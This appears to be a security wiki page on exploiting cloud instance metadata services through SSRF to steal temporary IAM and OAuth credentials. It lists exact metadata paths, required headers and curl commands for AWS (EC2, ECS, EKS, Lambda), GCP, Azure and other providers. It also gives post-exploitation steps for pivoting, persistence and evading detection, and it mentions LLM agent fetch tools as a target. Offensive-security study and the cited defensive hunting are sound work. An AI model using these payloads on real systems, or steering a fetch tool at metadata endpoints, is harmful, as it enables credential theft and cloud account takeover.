# Cloud Metadata Service Exploitation > Steering an SSRF (or any in-workload fetch) at the link-local metadata endpoint to read instance identity, config and — the real prize — the workload's temporary IAM/OAuth credentials. ## How it works Every major cloud serves instance metadata from a non-routable link-local address reachable only from the instance itself. Because the vulnerable fetcher runs *inside* the trust boundary, one attacker-controlled URL pointed at that address returns live role credentials. Severity is set by the identity behind the fetcher (instance profile, ECS task role, pod identity, managed identity), not by the response body — a harmless-looking avatar proxy on an EC2 box with an over-scoped instance profile is account takeover (MITRE ATT&CK T1552.005). CWE-918 / CAPEC-664 / OWASP API7:2023 name the bug but do not score blast radius. Typical sinks: image/avatar proxies, link unfurlers (OpenGraph/oEmbed), PDF & screenshot renderers (wkhtmltopdf, Puppeteer, headless Chrome), webhook delivery, RSS/import-from-URL, SVG `href`/XSLT `document()`/XXE, and LLM agent fetch tools. ## Techniques / payloads ### AWS EC2 (169.254.169.254, IPv6 `[fd00:ec2::254]`) Two reads on IMDSv1 (plain GET, no auth): ``` GET /latest/meta-data/iam/security-credentials/ → role name GET /latest/meta-data/iam/security-credentials/<ROLE> → AccessKeyId / SecretAccessKey / Token ``` Export the three values (the `aws_session_token` is mandatory) into an AWS profile and use with the CLI / Pacu. Other useful paths: `/latest/user-data` (startup scripts, often hardcoded secrets), `/latest/dynamic/instance-identity/document` (accountId, region), `/latest/meta-data/public-keys/0/openssh-key`. IMDSv2 requires a PUT-token flow — see [[IMDSv2]]. The IPv6 endpoint is Nitro-only and must be enabled (`HttpProtocolIpv6=enabled`); denylists that only block the IPv4 literal miss it. ### ECS task role (169.254.170.2) Credentials at `http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`. The relative URI is unguessable, so chain a file read of `/proc/self/environ` to recover it (also `AWS_CONTAINER_CREDENTIALS_FULL_URI`). Task roles are frequently broader than the instance profile, and from a container you may reach *both* the task role (170.2) and the EC2 instance role (169.254.169.254). ### EKS Pod Identity (169.254.170.23, IPv6 `[fd00:ec2::23]`) ``` AWS_CONTAINER_CREDENTIALS_FULL_URI=http://169.254.170.23/v1/credentials AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE=/var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token ``` SSRF + file read recovers env vars and the projected token, then `curl -H "Authorization: $(cat $TOKEN_FILE)" $FULL_URI` returns pod credentials. IRSA / GKE Workload Identity similarly put a projected SA token on disk — a file read steals it; blast radius is the pod's role, not the node's. ### AWS Lambda Credentials live in env vars (`AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, `AWS_SESSION_TOKEN`) — read `file:///proc/self/environ`, or trigger a stack trace that prints env. Event data / `stageVariables` at `http://localhost:9001/2018-06-01/runtime/invocation/next`. ### GCP (metadata.google.internal / 169.254.169.254) Requires header `Metadata-Flavor: Google` (or legacy `X-Google-Metadata-Request: True`). Requests carrying `X-Forwarded-For` are rejected. Recursive pulls allowed (`?recursive=true&alt=text`): ``` /computeMetadata/v1/instance/service-accounts/default/token → OAuth access token /computeMetadata/v1/instance/service-accounts/default/identity?audience=<url> → audience-bound ID token (Cloud Run/IAP) /computeMetadata/v1/project/attributes/?recursive=true → SSH keys, kube-env /computeMetadata/v1beta1/... → beta tree historically needed no header (now deprecated) ``` Validate scope via `https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=`; with `compute` scope push an SSH key via `setCommonInstanceMetadata`. ### Azure IMDS (169.254.169.254) & WireServer (168.63.129.16) Header `Metadata: true`, must *not* carry `X-Forwarded-For`: ``` /metadata/instance?api-version=2021-12-13 /metadata/identity/oauth2/token?api-version=...&resource=https://management.azure.com/ ``` A VM may carry a system-assigned plus multiple user-assigned managed identities (specify `client_id`/`object_id`/`msi_res_id` to pick one). WireServer / GoalState / ExtensionsConfig (`http://168.63.129.16/?comp=goalstate`) enumerates attached user-assigned identities. App Service/Functions expose managed identity via loopback `IDENTITY_ENDPOINT` gated by `IDENTITY_HEADER` — a header-capable loopback SSRF mints tokens even when 169.254.169.254 is blocked. ### Other providers Oracle Cloud `http://192.0.0.192/latest/` (gate `Authorization: Bearer Oracle`); Alibaba `http://100.100.100.200/latest/meta-data/` (`X-aliyun-ecs-metadata-token` only in opt-in hardened mode); DigitalOcean `http://169.254.169.254/metadata/v1.json` (no credentials to steal). Every header gate only stops SSRF that *cannot* set headers. ## Post-exploitation Load stolen keys into the AWS CLI / `gcloud` / `az`, enumerate effective permissions (Pacu, `aws iam list-attached-role-policies`), then pivot: S3/RDS/DynamoDB data, lateral movement, persistence. Note credentials minted from IMDS are replayable from *inside* the same cloud, defeating detections that only fire on out-of-provider replay. Beyond credentials, pivot to network-trusting control planes — see [[SSRF in Kubernetes and Containers]]. ## Notable cases - **[[Capital One Breach]]** (2019): misconfigured WAF on EC2 relayed SSRF to IMDSv1, ~100M credit applications exfiltrated from S3. - **F5 Labs EC2 campaign** (Mar 2025): four-day automated campaign, GET `/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/` fuzzing six param names (`dest,file,redirect,target,uri,url`) — single actor, ASN 34534. - **Neocloud GPU container** (LAVA): `curl http://169.254.169.254/latest/user-data` from a tenant container returned the underlying host VM's admin credentials — no escape required, just a shared network path to host metadata. - **Wiz IMDS-abused hunting**: baselined normal IMDS clients (AWS SDKs, nm-cloud-setup) vs rare processes hitting sensitive metadata paths; the anomaly method surfaced an in-the-wild 0-day. ## Related - [[Server-Side Request Forgery]] - [[IMDSv2]] - [[SSRF in Kubernetes and Containers]] - [[Capital One Breach]] - [[SSRF Prevention]] - [[IP Address Encoding Bypasses]] - [[Blind SSRF]] - [[SSRF in AI Agents and LLM Tools]] ## Sources - [[raw/agentoffense.com/ssrf-cloud-metadata-attacks-url-fetcher-to-iam-credentials-15332|SSRF Cloud Metadata Attacks: URL Fetcher to IAM Credentials]] - [[raw/gist.github.com/cloud-metadata-dictionary-useful-for-ssrf-testing-4201|Cloud Metadata Dictionary useful for SSRF Testing]] - [[raw/book.hacktricks.xyz/cloud-ssrf-58|Cloud SSRF - HackTricks]] - [[raw/wiz.io/imds-abused-hunting-rare-behaviors-to-uncover-exploits-2259|IMDS Abused: Hunting Rare Behaviors to Uncover Exploits]] - [[raw/f5.com/campaign-targets-amazon-ec2-instance-metadata-via-ssrf-3230|Campaign Targets Amazon EC2 Instance Metadata via SSRF]] - [[raw/lava.security/inside-the-neocloud-part-1-when-the-container-is-the-only-wall-15335|Inside the Neocloud (Part 1): When the Container Is the Only Wall]] - [[raw/scalesec.com/exploit-ssrf-to-gain-aws-credentials-3226|Exploit SSRF to gain AWS Credentials]]